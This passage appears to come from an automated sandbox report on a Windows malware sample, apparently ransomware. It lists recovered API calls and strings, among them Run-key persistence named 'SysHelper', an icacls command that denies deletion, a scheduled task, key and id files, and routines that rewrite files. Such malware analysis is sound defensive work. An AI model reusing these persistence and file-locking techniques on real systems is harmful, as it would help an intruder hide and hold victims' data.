InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32
lstrlenW.KERNEL32(?), ref: 0041EC3E
lstrlenA.KERNEL32(","id":"), ref: 0041EC51
lstrcpyA.KERNEL32(?,?), ref: 0041EC6D
lstrcpyA.KERNEL32(?,?), ref: 0041EC7F
lstrlenA.KERNEL32(?), ref: 0041EC93
lstrlenA.KERNEL32(00000022), ref: 0041ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED2A
lstrlenA.KERNEL32(?), ref: 0041ED4B
_malloc.LIBCMT ref: 0041ED55
_memset.LIBCMT ref: 0041ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 0041ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 0041ED85
lstrlenW.KERNEL32(?), ref: 0041EDA3
lstrlenW.KERNEL32(?), ref: 0041EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EDF7
DeleteFileA.KERNEL32(?), ref: 0041EE05
_free.LIBCMT ref: 0041EE15
_free.LIBCMT ref: 0041EE22
lstrcpyW.KERNEL32(?,00000000), ref: 0041EF61
lstrcpyW.KERNEL32(?,00000000), ref: 0041EFBF

Strings

","id":", xrefs: 0041EBC5, 0041EC4C
.bit/, xrefs: 0041E7A3
&first=true, xrefs: 0041E930
", xrefs: 0041ECA0
bowsakkdestx.txt, xrefs: 0041E996, 0041EA67, 0041EC17, 0041EDEA
{"public_key":", xrefs: 0041EA2E, 0041EA8D
?pid=, xrefs: 0041E884
Microsoft Internet Explorer, xrefs: 0041E736
&first=false, xrefs: 0041E937

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 2e0db9f6c9d152ade387be2eb6c46a0ed2254bb1ea5758b3fce4fbdc583ce000
Instruction ID: 6dbc96f3ccd93c00a013485041b5c7257b0a9ae09bebbc57280f72cccf7ce4d8
Opcode Fuzzy Hash: 2e0db9f6c9d152ade387be2eb6c46a0ed2254bb1ea5758b3fce4fbdc583ce000
Instruction Fuzzy Hash: FA421771508341ABD720DF25DC45BDB7BE8BF85308F44092EF88587292DB78E589CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 56.7, APIs: 24, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

Trigger1, xrefs: 0040D6FA
--Task, xrefs: 0040D8DD
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
2030-05-02T08:00:00, xrefs: 0040D737
PT5M, xrefs: 0040D5A1, 0040D66C
Author Name, xrefs: 0040D4C8
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Time Trigger Task, xrefs: 0040D43C, 0040D973

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: 4f8ee87861830608d39d03dc26b38c56c6e4ea05ea2d40703885183dde03fa13
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: 4f8ee87861830608d39d03dc26b38c56c6e4ea05ea2d40703885183dde03fa13
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 013daebd02a679a53e4982fa2fb5bf3b69c73ed4485eeaec36137350ce0ab3c1
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 013daebd02a679a53e4982fa2fb5bf3b69c73ed4485eeaec36137350ce0ab3c1
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 5ac4b84954a5b01d69a4a17539fb5c61a4d7a67e9ccbd167ef9dc2e3698bb59f
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 5ac4b84954a5b01d69a4a17539fb5c61a4d7a67e9ccbd167ef9dc2e3698bb59f
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: bc413ef1927ad5c7ad4c63796ca5ebcd4ef3e5a2d970d576ee0f7f2f19d63589
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
Address: %s, mac: %s, xrefs: 0040E72D
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 8dd870fd24ff2275166bed82e0a2591e1f3ee419eeae91a89deed19d9847795e
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 8dd870fd24ff2275166bed82e0a2591e1f3ee419eeae91a89deed19d9847795e
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8eb8f41be5436eda5ca4e95c591ea5ec91c33af61f6dbda2f0ec8d67aaf6c9d3
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8eb8f41be5436eda5ca4e95c591ea5ec91c33af61f6dbda2f0ec8d67aaf6c9d3
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Shell32.dll, xrefs: 00411E94
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 00411DD1
SysHelper, xrefs: 00411D5B, 004120EB
SHGetFolderPathW, xrefs: 00411E9F
D, xrefs: 00412128
icacls ", xrefs: 0041214C
" --AutoStart, xrefs: 004120C2

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: e2d265c31ad56d5b5aee01e75f39e79e806ef69126a7931b8c9049656e3fd52e
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 05f3df143ae4f2883d5b43d3f274d8be2ec620da4cf1e03d1b19366c5557bb71
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 05f3df143ae4f2883d5b43d3f274d8be2ec620da4cf1e03d1b19366c5557bb71
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

